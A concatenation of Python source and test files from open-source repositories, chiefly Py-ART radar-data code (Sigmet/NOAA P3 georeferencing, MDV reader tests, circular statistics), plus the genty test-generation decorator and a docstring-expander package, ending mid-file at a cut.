Parameters ---------- raw_extended_headers : ndarray Raw Sigmet extended headers. filemetadata : FileMetadata FileMetadata class from which metadata will be derived. azimuth : dict Dictionary of azimuth angles recorded in Sigmet file. elevation : dict Dictionary of elevation angles recorded in Sigmet file. position_source: {'irs', 'gps', 'aamps'}, optional Instrument from which to derive position parameters. heading_source: {'irs', 'aamps'} Instrument from which to derive heading parameters. Returns ------- latitude : dict Dictionary containing latitude data and metadata. longitude : dict Dictionary containing longitude data and metadata. altitude : dict Dictionary containing altitude data and metadata. heading_params : dict Dictionary of dictionary containing aircraft heading data and metadata. Contains 'heading', 'roll', pitch', 'drift', 'rotation', 'tilt' and 'georefs_applied' dictionaries. """ xhdr = np.rec.fromstring(raw_extended_headers[..., :68].tostring(), dtype=list(NOAA_HH_EXTENDED_HEADER)) # rotation and tilt from azimuth/elevation angles rotation = filemetadata('rotation') tilt = filemetadata('tilt') rotation_data = 90. - elevation['data'].copy() rotation_data[rotation_data < 0] += 360. rotation['data'] = rotation_data tilt_data = azimuth['data'].copy() tilt_data[tilt_data > 180] -= 360. tilt['data'] = tilt_data # airborne parameters heading = filemetadata('heading') roll = filemetadata('roll') pitch = filemetadata('pitch') drift = filemetadata('drift') if heading_source == 'irs': heading_data = bin2_to_angle(xhdr['irs_heading']) roll_data = bin2_to_angle(xhdr['irs_roll']) pitch_data = bin2_to_angle(xhdr['irs_pitch']) drift_data = bin2_to_angle(xhdr['irs_drift']) elif heading_source == 'aamps': heading_data = bin2_to_angle(xhdr['aamps_heading']) roll_data = bin2_to_angle(xhdr['aamps_roll']) pitch_data = bin2_to_angle(xhdr['aamps_pitch']) drift_data = bin2_to_angle(xhdr['aamps_drift']) else: raise ValueError('Unknown heading_source') heading['data'] = heading_data roll['data'] = roll_data pitch['data'] = pitch_data drift['data'] = drift_data # georeferenced azimuth and elevation az, elev = _georeference_yprime( roll_data, pitch_data, heading_data, drift_data, rotation_data, tilt_data) azimuth['data'] = az elevation['data'] = elev georefs_applied = filemetadata('georefs_applied') georefs_applied['data'] = np.ones(az.shape, dtype='int8') # positions: latitude, longitude, altitude latitude = filemetadata('latitude') longitude = filemetadata('longitude') altitude = filemetadata('altitude') if position_source == 'gps': lat_data = bin4_to_angle(xhdr['gps_lat']) lon_data = bin4_to_angle(xhdr['gps_long']) alt_data = xhdr['gps_alt'] / 100. elif position_source == 'aamps': lat_data = bin4_to_angle(xhdr['aamps_lat']) lon_data = bin4_to_angle(xhdr['aamps_long']) alt_data = xhdr['aamps_alt'] / 100. elif position_source == 'irs': lat_data = bin4_to_angle(xhdr['irs_lat']) lon_data = bin4_to_angle(xhdr['irs_long']) alt_data = xhdr['gps_alt'] / 100. else: raise ValueError('Invalid position_source') latitude['data'] = lat_data longitude['data'] = lon_data altitude['data'] = alt_data extended_header_params = { 'heading': heading, 'roll': roll, 'pitch': pitch, 'drift': drift, 'rotation': rotation, 'tilt': tilt, 'georefs_applied': georefs_applied} return (latitude, longitude, altitude, extended_header_params) def _georeference_yprime(roll, pitch, heading, drift, rotation, tilt): """ Compute georeferenced azimuth and elevation angles for a Y-prime radar. This is the georeferencing needed for the tail doppler radar on the NOAA P3 aircraft. """ # Adapted from Radx's SigmetRadxFile::_computeAzEl method found in # SigmetRadxFile.cc # Transforms defined in Wen-Chau Lee et al, JTech, 1994, 11, 572-578. # Convert to radians and use variable names from Wen-Chau Lee paper R = np.radians(roll) # roll P = np.radians(pitch) # pitch H = np.radians(heading) # heading D = np.radians(drift) # drift T = H + D # track theta_a = np.radians(rotation) tau_a = np.radians(tilt) # Eq. (9) x_t = (np.cos(theta_a + R) * np.sin(D) * np.cos(tau_a) * np.sin(P) + np.cos(D) * np.sin(theta_a + R) * np.cos(tau_a) - np.sin(D) * np.cos(P) * np.sin(tau_a)) y_t = (-np.cos(theta_a + R) * np.cos(D) * np.cos(tau_a) * np.sin(P) + np.sin(D) * np.sin(theta_a + R) * np.cos(tau_a) + np.cos(P) * np.cos(D) * np.sin(tau_a)) z_t = (np.cos(P) * np.cos(tau_a) * np.cos(theta_a + R) + np.sin(P) * np.sin(tau_a)) # Eq. (12) and discussion after Eq. (17) lambda_t = np.arctan2(x_t, y_t) azimuth = np.fmod(lambda_t + T, 2 * np.pi) # Eq (17) elevation = np.arcsin(z_t) # convert to degrees and fix range azimuth = np.degrees(azimuth) azimuth[azimuth < 0] += 360. elevation = np.degrees(elevation) elevation[elevation > 180] -= 360. return azimuth, elevation # NOAA Hurrican Hunter Sigmet Extended header structure # scalar definitions UINT16 = 'H' INT16 = 'h' BAM16 = 'h' INT32 = 'i' BAM32 = 'i' NOAA_HH_EXTENDED_HEADER = ( ('msecs_since_sweep_start', INT32), ('calib_signal_level', INT16), ('nbytes_in_header', INT16), ('__pad_1', UINT16), ('gps_age', UINT16), # Time in milliseconds since last GPS Input ('irs_age', UINT16), # Time in milliseconds since last IRS Input ('aamps_age', UINT16), # Time in milliseconds since last # AAMPS Input ('gps_lat', BAM32), # GPS latitude (BAM) ('gps_long', BAM32), # GPS Longitude (BAM) ('gps_alt', INT32), # GPS Altitude (cm) ('gps_vel_e', INT32), # GPS Ground Speed East (cm/second) ('gps_vel_n', INT32), # GPS Ground Speed North (cm/second) ('gps_vel_v', INT32), # GPS Ground Speed Up (cm/second) ('irs_lat', BAM32), # IRS latitude (BAM) ('irs_long', BAM32), # IRS Longitude (BAM) ('irs_vel_e', INT32), # IRS Ground Speed East (cm/second) ('irs_vel_n', INT32), # IRS Ground Speed North (cm/second) ('irs_vel_v', INT32), # IRS Ground Speed Up (cm/second) ('irs_pitch', BAM16), # IRS Pitch (BAM) ('irs_roll', BAM16), # IRS Roll (BAM) ('irs_heading', BAM16), # IRS Heading (BAM) ('irs_drift', BAM16), # IRS Drift (BAM) ('irs_tru_track', BAM16), # IRS True Track (BAM) ('irs_pitch_r', BAM16), # IRS Pitch rate (BAM/sec) ('irs_roll_r', BAM16), # IRS Roll rate (BAM/sec) ('irs_yaw_r', BAM16), # IRS Yaw rate (BAM/sec) ('irs_wind_vel', INT32), # IRS Wind speed (cm/second) ('irs_wind_dir', BAM16), # IRS Wind direction (BAM) ('__pad_2', UINT16), ('aamps_lat', BAM32), # AAMPS latitude (BAM) ('aamps_long', BAM32), # AAMPS Longitude (BAM) ('aamps_alt', INT32), # AAMPS Altitude (cm) ('aamps_ground_vel', INT32), # AAMPS Ground Speed East (cm/second) ('aamps_time_stamp', INT32), # AAMPS Timestamp in UTC # (seconds since the epoch) ('aamps_vel_v', INT32), # AAMPS Vertical Velocity (cm/second) ('aamps_pitch', BAM16), # AAMPS Pitch (BAM) ('aamps_roll', BAM16), # AAMPS Roll (BAM) ('aamps_heading', BAM16), # AAMPS Heading (BAM) ('aamps_drift', BAM16), # AAMPS Drift (BAM) ('aamps_track', BAM16), # AAMPS Track (BAM) ('__pad_4', UINT16), ('aamps_radalt_val', INT32), # AAMPS Radar Altitude (cm) ('aamps_wind_vel', INT32), # AAMPS Wind Speed (cm/second) ('aamps_wind_dir', BAM16), # AAMPS Wind direction (BAM) ('__pad_5', UINT16), ('aamps_wind_vel_v', INT32), # AAMPS Wind Speed Up (cm/second) ) ``` #### File: io/tests/test_mdv_radar.py ```python import numpy as np from numpy.testing import assert_almost_equal from numpy.ma.core import MaskedArray import pyart ############################################ # read_mdv tests (verify radar attributes) # ############################################ # read in the sample file and create a a Radar object radar = pyart.io.read_mdv(pyart.testing.MDV_PPI_FILE) # time attribute def test_time(): assert 'comment' in radar.time.keys() assert 'long_name' in radar.time.keys() assert 'standard_name' in radar.time.keys() assert 'units' in radar.time.keys() assert 'calendar' in radar.time.keys() assert 'data' in radar.time.keys() assert radar.time['units'] == 'seconds since 2011-05-20T11:01:00Z' assert radar.time['data'].shape == (360, ) assert_almost_equal(radar.time['data'][200], 187, 0) # range attribute def test_range(): assert 'long_name' in radar.range assert 'standard_name' in radar.range assert 'meters_to_center_of_first_gate' in radar.range assert 'meters_between_gates' in radar.range assert 'units' in radar.range assert 'data' in radar.range assert 'spacing_is_constant' in radar.range assert radar.range['data'].shape == (110, ) assert_almost_equal(radar.range['data'][0], 118, 0) # fields attribute is tested later # metadata attribute def test_metadata(): assert 'instrument_name' in radar.metadata assert 'source' in radar.metadata # scan_type attribute def test_scan_type(): assert radar.scan_type == 'ppi' # latitude attribute def test_latitude(): assert 'data' in radar.latitude assert 'standard_name' in radar.latitude assert 'units' in radar.latitude assert radar.latitude['data'].shape == (1, ) assert_almost_equal(radar.latitude['data'], 37, 0) # longitude attribute def test_longitude(): assert 'data' in radar.longitude assert 'standard_name' in radar.longitude assert 'units' in radar.longitude assert radar.longitude['data'].shape == (1, ) assert_almost_equal(radar.longitude['data'], -97, 0) # altitude attribute def test_altitude(): assert 'data' in radar.altitude assert 'standard_name' in radar.altitude assert 'units' in radar.altitude assert 'positive' in radar.altitude assert radar.altitude['data'].shape == (1, ) assert_almost_equal(radar.altitude['data'], 328, 0) # altitude_agl attribute def test_altitude_agl(): assert radar.altitude_agl is None # sweep_number attribute def test_sweep_number(): assert 'standard_name' in radar.sweep_number assert np.all(radar.sweep_number['data'] == range(1)) # sweep_mode attribute def test_sweep_mode(): assert 'standard_name' in radar.sweep_mode assert radar.sweep_mode['data'].shape == (1, ) assert radar.sweep_mode['data'].dtype.char == 'S' assert np.all(radar.sweep_mode['data'] == [b'azimuth_surveillance']) # fixed_angle attribute def test_fixed_angle(): assert 'standard_name' in radar.fixed_angle assert 'units' in radar.fixed_angle assert radar.fixed_angle['data'].shape == (1, ) assert_almost_equal(radar.fixed_angle['data'][0], 0.75, 2) # sweep_start_ray_index attribute def test_sweep_start_ray_index(): assert 'long_name' in radar.sweep_start_ray_index assert radar.sweep_start_ray_index['data'].shape == (1, ) assert_almost_equal(radar.sweep_start_ray_index['data'][0], 0, 0) # sweep_end_ray_index attribute def test_sweep_end_ray_index(): assert 'long_name' in radar.sweep_end_ray_index assert radar.sweep_end_ray_index['data'].shape == (1, ) assert_almost_equal(radar.sweep_end_ray_index['data'][0], 359, 0) # target_scan_rate attribute def test_target_scan_rate(): assert radar.target_scan_rate is None # azimuth attribute def test_azimuth(): assert 'standard_name' in radar.azimuth assert 'long_name' in radar.azimuth assert 'units' in radar.azimuth assert 'axis' in radar.azimuth assert_almost_equal(radar.azimuth['data'][0], 0, 0) assert_almost_equal(radar.azimuth['data'][10], 10.0, 0) # elevation attribute def test_elevation(): assert 'standard_name' in radar.elevation assert 'long_name' in radar.azimuth assert 'units' in radar.elevation assert 'axis' in radar.elevation assert radar.elevation['data'].shape == (360, ) assert_almost_equal(radar.elevation['data'][0], 0.75, 2) # scan_rate attribute def test_scan_rate(): assert radar.scan_rate is None # antenna_transition attribute def test_antenna_transition(): assert radar.antenna_transition is None # instrument_parameters attribute def test_instument_parameters(): # instrument_parameter sub-convention keys = ['prt', 'unambiguous_range', 'prt_mode', 'nyquist_velocity'] for k in keys: description = 'instrument_parameters: %s' % k check_instrument_parameter.description = description yield check_instrument_parameter, k def check_instrument_parameter(param): assert param in radar.instrument_parameters param_dic = radar.instrument_parameters[param] assert param_dic['meta_group'] == 'instrument_parameters' # radar_parameters attribute def test_radar_parameters(): # radar_parameter sub-convention keys = ['radar_beam_width_h', 'radar_beam_width_v'] for k in keys: description = 'radar_parameters: %s' % k check_radar_parameter.description = description yield check_radar_parameter, k def check_radar_parameter(param): assert param in radar.instrument_parameters param_dic = radar.instrument_parameters[param] assert param_dic['meta_group'] == 'radar_parameters' # radar_calibration attribute def test_radar_calibration(): assert radar.radar_calibration is None # ngates attribute def test_ngates(): assert radar.ngates == 110 # nrays attribute def test_nrays(): assert radar.nrays == 360 # nsweeps attribute def test_nsweeps(): assert radar.nsweeps == 1 #################### # fields attribute # #################### def test_field_dics(): fields = ['reflectivity', ] for field in fields: description = "field : %s, dictionary" % field check_field_dic.description = description yield check_field_dic, field def check_field_dic(field): """ Check that the required keys are present in a field dictionary. """ assert 'standard_name' in radar.fields[field] assert 'units' in radar.fields[field] assert '_FillValue' in radar.fields[field] assert 'coordinates' in radar.fields[field] def test_field_shapes(): fields = ['reflectivity', ] for field in fields: description = "field : %s, shape" % field check_field_shape.description = description yield check_field_shape, field def check_field_shape(field): assert radar.fields[field]['data'].shape == (360, 110) def test_field_types(): fields = {'reflectivity': MaskedArray, } for field, field_type in fields.items(): description = "field : %s, type" % field check_field_type.description = description yield check_field_type, field, field_type def check_field_type(field, field_type): assert type(radar.fields[field]['data']) is field_type def test_field_first_points(): # these values can be found using: # [round(radar.fields[f]['data'][0,0]) for f in radar.fields] fields = {'reflectivity': 24.0} for field, field_value in fields.items(): description = "field : %s, first point" % field check_field_first_point.description = description yield check_field_first_point, field, field_value def check_field_first_point(field, value): assert_almost_equal(radar.fields[field]['data'][0, 0], value, 0) ############# # RHI tests # ############# RADAR_RHI = pyart.io.read_mdv(pyart.testing.MDV_RHI_FILE, delay_field_loading=True) # nsweeps attribute def test_rhi_nsweeps(): assert RADAR_RHI.nsweeps == 1 # sweep_number attribute def test_rhi_sweep_number(): assert 'standard_name' in RADAR_RHI.sweep_number assert np.all(RADAR_RHI.sweep_number['data'] == range(1)) # sweep_mode attribute def test_rhi_sweep_mode(): assert 'standard_name' in RADAR_RHI.sweep_mode assert RADAR_RHI.sweep_mode['data'].shape == (1, ) assert np.all(RADAR_RHI.sweep_mode['data'] == [b'rhi']) # fixed_angle attribute def test_rhi_fixed_angle(): assert 'standard_name' in RADAR_RHI.fixed_angle assert 'units' in RADAR_RHI.fixed_angle assert RADAR_RHI.fixed_angle['data'].shape == (1, ) assert_almost_equal(RADAR_RHI.fixed_angle['data'][0], 189.00, 2) # sweep_start_ray_index attribute def test_rhi_sweep_start_ray_index(): assert 'long_name' in RADAR_RHI.sweep_start_ray_index assert RADAR_RHI.sweep_start_ray_index['data'].shape == (1, ) assert_almost_equal(RADAR_RHI.sweep_start_ray_index['data'][0], 0, 0) # sweep_end_ray_index attribute def test_rhi_sweep_end_ray_index(): assert 'long_name' in RADAR_RHI.sweep_end_ray_index assert RADAR_RHI.sweep_end_ray_index['data'].shape == (1, ) assert_almost_equal(RADAR_RHI.sweep_end_ray_index['data'][0], 282, 0) # azimuth attribute def test_rhi_azimuth(): assert 'standard_name' in RADAR_RHI.azimuth assert 'long_name' in RADAR_RHI.azimuth assert 'units' in RADAR_RHI.azimuth assert 'axis' in RADAR_RHI.azimuth assert_almost_equal(RADAR_RHI.azimuth['data'][0], 189, 0) assert_almost_equal(RADAR_RHI.azimuth['data'][10], 189, 0) # elevation attribute def test_rhi_elevation(): assert 'standard_name' in RADAR_RHI.elevation assert 'long_name' in RADAR_RHI.azimuth assert 'units' in RADAR_RHI.elevation assert 'axis' in RADAR_RHI.elevation assert RADAR_RHI.elevation['data'].shape == (283, ) assert_almost_equal(RADAR_RHI.elevation['data'][0], 19.6, 2) # field data def test_rhi_elevation(): assert_almost_equal(RADAR_RHI.fields['reflectivity']['data'][0, 0], 23.93, 2) def test_open_from_file_obj(): fh = open(pyart.testing.MDV_PPI_FILE, 'rb') radar = pyart.io.read_mdv(pyart.testing.MDV_PPI_FILE) fh.close() def test_radar_exclude_fields(): # skip fields radar = pyart.io.read_mdv( pyart.testing.MDV_PPI_FILE, exclude_fields=['reflectivity']) assert 'reflectivity' not in radar.fields ``` #### File: retrieve/tests/test_gate_id.py ```python import numpy as np import netCDF4 import pyart def test_map_profile_to_gates(): test_radar = pyart.testing.make_empty_ppi_radar(100, 360, 5) foo_field = {'data': np.zeros([360 * 5, 100])} test_radar.add_field('foo', foo_field) z_dict, temp_dict = pyart.retrieve.map_profile_to_gates( np.ones(100), np.linspace(0, 1000, 100), test_radar) assert temp_dict['data'].mean() == 1.0 def test_fetch_radar_time_profile(): test_radar = pyart.testing.make_empty_ppi_radar(100, 360, 5) test_radar.time['units'] = 'seconds since 2011-05-10T00:00:01Z' test_radar.time['data'][0] = 41220. # 2nd time in interpolated sonde sonde_dset = netCDF4.Dataset(pyart.testing.INTERP_SOUNDE_FILE) dic = pyart.retrieve.fetch_radar_time_profile(sonde_dset, test_radar) assert 'wdir' in dic assert 'wspd' in dic assert 'height' in dic assert round(dic['wdir'][0]) == 185 ``` #### File: pyart/util/circular_stats.py ```python import numpy as np # For details on these computation see: # https://en.wikipedia.org/wiki/Directional_statistics # https://en.wikipedia.org/wiki/Mean_of_circular_quantities def angular_mean(angles): """ Compute the mean of a distribution of angles in radians. Parameters ---------- angles : array like Distribution of angles in radians. Returns ------- mean : float The mean angle of the distribution in radians. """ angles = np.asanyarray(angles) x = np.cos(angles) y = np.sin(angles) return np.arctan2(y.mean(), x.mean()) def angular_std(angles): """ Compute the standard deviation of a distribution of angles in radians. Parameters ---------- angles : array like Distribution of angles in radians. Returns ------- std : float Standard deviation of the distribution. """ angles = np.asanyarray(angles) x = np.cos(angles) y = np.sin(angles) norm = np.sqrt(x.mean()**2 + y.mean()**2) return np.sqrt(-2 * np.log(norm)) def angular_mean_deg(angles): """ Compute the mean of a distribution of angles in degrees. Parameters ---------- angles : array like Distribution of angles in degrees. Returns ------- mean : float The mean angle of the distribution in degrees. """ return np.rad2deg(angular_mean(np.deg2rad(angles))) def angular_std_deg(angles): """ Compute the standard deviation of a distribution of angles in degrees. Parameters ---------- angles : array like Distribution of angles in degrees. Returns ------- std : float Standard deviation of the distribution. """ return np.rad2deg(angular_std(np.deg2rad(angles))) def interval_mean(dist, interval_min, interval_max): """ Compute the mean of a distribution within an interval. Return the average of the array elements which are interpreted as being taken from a circular interval with endpoints given by interval_min and interval_max. Parameters ---------- dist : array like Distribution of values within an interval. interval_min, interval_max : float The endpoints of the interval. Returns ------- mean : float The mean value of the distribution """ # transform distribution from original interval to [-pi, pi] half_width = (interval_max - interval_min) / 2. center = interval_min + half_width a = (np.asarray(dist) - center) / (half_width) * np.pi # compute the angular mean and convert back to original interval a_mean = angular_mean(a) return (a_mean * (half_width) / np.pi) + center def interval_std(dist, interval_min, interval_max): """ Compute the standard deviation of a distribution within an interval. Return the standard deviation of the array elements which are interpreted as being taken from a circular interval with endpoints given by interval_min and interval_max. Parameters ---------- dist : array_like Distribution of values within an interval. interval_min, interval_max : float The endpoints of the interval. Returns ------- std : float The standard deviation of the distribution. """ # transform distribution from original interval to [-pi, pi] half_width = (interval_max - interval_min) / 2. center = interval_min + half_width a = (np.asarray(dist) - center) / (half_width) * np.pi # compute the angular standard dev. and convert back to original interval a_std = angular_std(a) return (a_std * (half_width) / np.pi) ``` #### File: pyart/util/xsect.py ```python from copy import copy import numpy as np from ..core import Radar def cross_section_ppi(radar, target_azimuths): """ Extract cross sections from a PPI volume along one or more azimuth angles. Parameters ---------- radar : Radar Radar volume containing PPI sweeps from which azimuthal cross sections will be extracted. target_azimuth : list Azimuthal angles in degrees where cross sections will be taken. Returns ------- radar_rhi : Radar Radar volume containing RHI sweeps which contain azimuthal cross sections from the original PPI volume. """ # detemine which rays from the ppi radar make up the pseudo RHI prhi_rays = [] rhi_nsweeps = len(target_azimuths) ppi_nsweeps = radar.nsweeps for target_azimuth in target_azimuths: for sweep_slice in radar.iter_slice(): sweep_azimuths = radar.azimuth['data'][sweep_slice] ray_number = np.argmin(np.abs(sweep_azimuths - target_azimuth)) prhi_rays.append(ray_number + sweep_slice.start) _range = _copy_dic(radar.range) latitude = _copy_dic(radar.latitude) longitude = _copy_dic(radar.longitude) altitude = _copy_dic(radar.altitude) metadata = _copy_dic(radar.metadata) scan_type = 'rhi' time = _copy_dic(radar.time, excluded_keys=['data']) time['data'] = radar.time['data'][prhi_rays].copy() azimuth = _copy_dic(radar.azimuth, excluded_keys=['data']) azimuth['data'] = radar.azimuth['data'][prhi_rays].copy() elevation = _copy_dic(radar.elevation, excluded_keys=['data']) elevation['data'] = radar.elevation['data'][prhi_rays].copy() fields = {} for field_name, orig_field_dic in radar.fields.items(): field_dic = _copy_dic(orig_field_dic, excluded_keys=['data']) field_dic['data'] = orig_field_dic['data'][prhi_rays].copy() fields[field_name] = field_dic sweep_number = _copy_dic(radar.sweep_number, excluded_keys=['data']) sweep_number['data'] = np.arange(rhi_nsweeps, dtype='int32') sweep_mode = _copy_dic(radar.sweep_mode, excluded_keys=['data']) sweep_mode['data'] = np.array(['rhi']*rhi_nsweeps) fixed_angle = _copy_dic(radar.fixed_angle, excluded_keys=['data']) fixed_angle['data'] = np.array(target_azimuths, dtype='float32') sweep_start_ray_index = _copy_dic( radar.sweep_start_ray_index, excluded_keys=['data']) ssri = np.arange(rhi_nsweeps, dtype='int32') * ppi_nsweeps sweep_start_ray_index['data'] = ssri sweep_end_ray_index = _copy_dic( radar.sweep_end_ray_index, excluded_keys=['data']) seri = np.arange(rhi_nsweeps, dtype='int32')*ppi_nsweeps + ppi_nsweeps-1 sweep_end_ray_index['data'] = seri radar_rhi = Radar( time, _range, fields, metadata, scan_type, latitude, longitude, altitude, sweep_number, sweep_mode, fixed_angle, sweep_start_ray_index, sweep_end_ray_index, azimuth, elevation) return radar_rhi def _copy_dic(orig_dic, excluded_keys=None): """ Return a copy of the original dictionary copying each element. """ if excluded_keys is None: excluded_keys = [] dic = {} for k, v in orig_dic.items(): if k not in excluded_keys: dic[k] = copy(v) return dic ```
{ "source": "josephhardinee/rca", "score": 2 }
#### File: rca/tests/alexis_test.py ```python import pytest # from rca.src.rca.module.calculate_dbz95 import calculate_dbz95_ppi __author__ = "<NAME>" __copyright__ = "<NAME>" __license__ = "mit" # Creating a sample function def a_name(x): print("First letter of ", x, " is:", x[0]) if x[0] == "A": return 1 else: return 0 def test_a_name(): assert a_name("Alexis") == 1 assert a_name("Brian") == 0 assert a_name("Apple") == 1 ```
{ "source": "josephharrington/genty", "score": 3 }
#### File: test/genty/genty.py ```python from __future__ import unicode_literals import functools import math import types import re import sys from box.test.genty.genty_args import GentyArgs def genty(target_cls): """Decorator used in conjunction with @genty_dataset and @genty_repeat. This decorator takes the information provided by @genty_dataset and @genty_repeat and generates the corresponding test methods. :param target_cls: Test class whose test methods have been decorated. :type target_cls: `class` """ tests = _expand_tests(target_cls) tests_with_datasets = _expand_datasets(tests) tests_with_datasets_and_repeats = _expand_repeats(tests_with_datasets) _add_new_test_methods(target_cls, tests_with_datasets_and_repeats) return target_cls def _expand_tests(target_cls): """ Generator of all the test unbound functions in the given class. :param target_cls: Target test class. :type target_cls: `class` :return: Generator of all the test_methods in the given class yielding tuples of method name and unbound function. :rtype: `generator` of `tuple` of (`unicode`, `function`) """ entries = dict(target_cls.__dict__.iteritems()) for key, value in entries.iteritems(): if key.startswith('test') and isinstance(value, types.FunctionType): if not hasattr(value, 'genty_generated_test'): yield key, value def _expand_datasets(test_functions): """ Generator producing test_methods, with an optional dataset. :param test_functions: Iterator over tuples of test name and test unbound function. :type test_functions: `iterator` of `tuple` of (`unicode`, `function`) :return: Generator yielding a tuple of (method_name, unbound function, dataset name, dataset) :rtype: `generator` of `tuple` of (`unicode`, `function`, `unicode` or None, `tuple` or None) """ for name, func in test_functions: datasets = getattr(func, 'genty_datasets', {}) if datasets: for dataset_name, dataset in datasets.iteritems(): yield name, func, dataset_name, dataset else: yield name, func, None, None def _expand_repeats(test_functions): """ Generator producing test_methods, with any repeat count unrolled. :param test_functions: Sequence of tuples of (test_method_name, test unbound function, dataset name, dataset) :type test_functions: `iterator` of `tuple` of (`unicode`, `function`, `unicode` or None, `tuple` or None) :return: Generator yielding a tuple of (method_name, unbound function, dataset, name dataset, repeat_suffix) :rtype: `generator` of `tuple` of (`unicode`, `function`, `unicode` or None, `tuple` or None, `unicode`) """ for name, func, dataset_name, dataset in test_functions: repeat_count = getattr(func, 'genty_repeat_count', 0) if repeat_count: for i in xrange(1, repeat_count + 1): repeat_suffix = _build_repeat_suffix(i, repeat_count) yield name, func, dataset_name, dataset, repeat_suffix elif dataset: yield name, func, dataset_name, dataset, None def _add_new_test_methods(target_cls, tests_with_datasets_and_repeats): """Define the given tests in the given class. :param target_cls: Test class where to define the given test methods. :type target_cls: `class` :param tests_with_datasets_and_repeats: Sequence of tuples describing the new test to add to the class. (method_name, unbound function, dataset name, dataset , repeat_suffix) :type tests_with_datasets_and_repeats: Sequence of `tuple` of (`unicode`, `function`, `unicode` or None, `tuple` or None, `unicode`) """ for test_info in tests_with_datasets_and_repeats: method_name, func, dataset_name, dataset, repeat_suffix = test_info # Remove the original test_method as it's superseded by this # generated method. is_first_reference = _delete_original_test_method( target_cls, method_name, ) # However, if that test_method is referenced by name in sys.argv # Then take 1 of the generated methods (we take the first) and # give that generated method the original name... so that the reference # can find an actual test method. if is_first_reference and _is_referenced_in_argv(method_name): dataset_name = None repeat_suffix = None _add_method_to_class( target_cls, method_name, func, dataset_name, dataset, repeat_suffix, ) def _is_referenced_in_argv(method_name): """ Various test runners allow one to run a specific test like so: python -m unittest -v <test_module>.<test_name> Return True is the given method name is so referenced. :param method_name: Base name of the method to add. :type method_name: `unicode` :return: Is the given method referenced by the command line. :rtype: `bool` """ expr = '.*[:.]{}$'.format(method_name) regex = re.compile(expr) return any(regex.match(arg) for arg in sys.argv) def _build_repeat_suffix(iteration, count): """ Return the suffix string to identify iteration X out of Y. For example, with a count of 100, this will build strings like "iteration_053" or "iteration_008". :param iteration: Current iteration. :type iteration: `int` :param count: Total number of iterations. :type count: `int` :return: Repeat suffix. :rtype: `unicode` """ format_width = int(math.ceil(math.log(count + 1, 10))) new_suffix = 'iteration_{:0{width}d}'.format(iteration, width=format_width) return new_suffix def _delete_original_test_method(target_cls, name): """ Delete an original test method with the given name. :param target_cls: Target class. :type target_cls: `class` :param name: Name of the method to remove. :type name: `unicode` :return: True if the original method existed :rtype: `bool` """ attribute = getattr(target_cls, name, None) if attribute and not getattr(attribute, 'genty_generated_test', None): delattr(target_cls, name) return True else: return False def _build_final_method_name(method_name, dataset_name, repeat_suffix): """ Return a nice human friendly name, that almost looks like code. Example: a test called 'test_something' with a dataset of (5, 'hello') Return: "test_something(5, 'hello')" Example: a test called 'test_other_stuff' with dataset of (9) and repeats Return: "test_other_stuff(9) iteration_<X>" :param method_name: Base name of the method to add. :type method_name: `unicode` :param dataset_name: Base name of the data set. :type dataset_name: `unicode` or None :param repeat_suffix: Suffix to append to the name of the generated method. :type repeat_suffix: `unicode` or None :return: The fully composed name of the generated test method. :rtype: `unicode` """ if not dataset_name and not repeat_suffix: return method_name # Place data_set info inside parens, as if it were a function call test_method_suffix = '({})'.format(dataset_name or "") if repeat_suffix: test_method_suffix = test_method_suffix + " " + repeat_suffix test_method_name_for_dataset = "{}{}".format( method_name, test_method_suffix, ) return test_method_name_for_dataset def _build_method_wrapper(method, dataset): if dataset: # Create the test method with the given data set. if isinstance(dataset, GentyArgs): test_method_for_dataset = lambda my_self: method( my_self, *dataset.args, **dataset.kwargs ) else: test_method_for_dataset = lambda my_self: method(my_self, *dataset) else: test_method_for_dataset = lambda my_self: method(my_self) return test_method_for_dataset def _add_method_to_class( target_cls, method_name, func, dataset_name, dataset, repeat_suffix, ): """ Add the described method to the given class. :param target_cls: Test class to which to add a method. :type target_cls: `class` :param method_name: Base name of the method to add. :type method_name: `unicode` :param func: The test function to add. :type func: `callable` :param dataset_name: Base name of the data set. :type dataset_name: `unicode` or None :param dataset: Tuple containing the args of the dataset. :type dataset: `tuple` or None :param repeat_suffix: Suffix to append to the name of the generated method. :type repeat_suffix: `unicode` or None """ test_method_name_for_dataset = _build_final_method_name( method_name, dataset_name, repeat_suffix, ) test_method_for_dataset = _build_method_wrapper(func, dataset) test_method_for_dataset = functools.update_wrapper( test_method_for_dataset, func, ) test_method_name_for_dataset = test_method_name_for_dataset.encode( 'utf-8', 'replace', ) test_method_for_dataset.__name__ = test_method_name_for_dataset test_method_for_dataset.genty_generated_test = True # Add the method to the class under the proper name setattr(target_cls, test_method_name_for_dataset, test_method_for_dataset) ```
{ "source": "joseph-hellerstein/kwmgr", "score": 2 }
#### File: joseph-hellerstein/kwmgr/setup.py ```python from setuptools import setup with open("README.md", "r") as fh: long_description = fh.read() INSTALL_REQUIRES = [ ] def doSetup(install_requires): setup( name='docstring_expander', version='0.23', author='<NAME>', author_email='<EMAIL>', url='https://github.com/joseph-hellerstein/docstring_expander.git', description='Enables intellisense for **kwargs', long_description=long_description, long_description_content_type='text/markdown', packages=['docstring_expander'], package_dir={'docstring_expander': 'docstring_expander'}, install_requires=install_requires, include_package_data=True, ) if __name__ == '__main__': doSetup(INSTALL_REQUIRES) ``` #### File: kwmgr/tests/test_expander.py ```python from docstring_expander.expander import Expander from docstring_expander.kwarg import Kwarg import copy import unittest IGNORE_TEST = False KWARGS = [ Kwarg("num_col", default=3, doc="number of columns", dtype=int), Kwarg("num_row", default=3, doc="number of rows"), Kwarg("num_plot", doc="number of plots", dtype=int), Kwarg("plot_title", doc="Title of the plot", dtype=str), Kwarg("title_font", doc="Font size for plot", dtype=float), Kwarg("dummy"), ] HEADER = """ Header line 1 Header line 2 """ TRAILER = """ Trailer line 1 Trailer line 2 """ BASE = ["num_row", "num_col", "title_font", "plot_title"] DOCSTRING = """ This is a test function. Parameters ---------- #@expand """ def func(arg, **kwargs): """ This is a test function. Parameters ---------- #@expand """ return kwargs.values() @Expander(KWARGS, BASE) def funcExpanded(arg, **kwargs): """ This is a test function. Parameters ---------- #@expand """ return kwargs.values() class TestExpander(unittest.TestCase): def setUp(self): self.expander = Expander(KWARGS, BASE) self.func = copy.deepcopy(func) self.func.__doc__ = DOCSTRING def testConstructor(self): if IGNORE_TEST: return diff = set(self.expander.keywords).symmetric_difference(BASE) self.assertEqual(len(diff), 0) def testCall(self): if IGNORE_TEST: return new_func = self.expander.__call__(self.func) for key in BASE: self.assertTrue(key in new_func.__doc__) def testCallHeader(self): if IGNORE_TEST: return expander = Expander(KWARGS, BASE, header=HEADER) new_func 